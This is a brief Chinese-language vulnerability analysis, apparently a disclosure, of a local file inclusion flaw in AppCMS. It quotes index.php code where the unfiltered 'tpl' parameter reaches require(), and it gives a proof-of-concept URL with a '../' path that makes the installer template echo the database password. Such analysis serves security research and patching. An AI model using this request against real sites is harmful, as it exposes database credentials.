AppCMS 本地文件包含漏洞

直接看index.php:

193 if (substr($tpl, strlen($tpl)-4, 4) == '.php') {
194     $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;
195 } else {
196     $tmp_file = '/templates/' . $from_mobile . '/' . $tpl .
'.php';
197 }
198 if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存
在' . $tmp_file);
199 require(dirname(__FILE__) . $tmp_file);

194 行的 $tpl 变量是可以控制的:

133 $tpl = isset($_GET['tpl'])?$_GET['tpl']:'index';

但这里没有过滤"../",可以直接 require 文件。这样就能执行 PHP 代码了。执行什么好呢。看 install/templates/step4.php 的代码:

<th>数据库密码:</th>
<td><input type="text" id="dbpass" name="dbpass" value="<?php echo DB_PASS;?>" /></td>
</tr>
<tr>
<th>数据库名称:</th>
<td><input type="text" id="dbname" name="dbname"  value="<?php echo DB_DBNAME;?>" /> </td>

如提交 http://test/index.php?tpl=../../install/templates/step4.php ,它会读取数据库配置文件,然后 echo 出来,如果已经安装了 App,直接就 echo 出来了。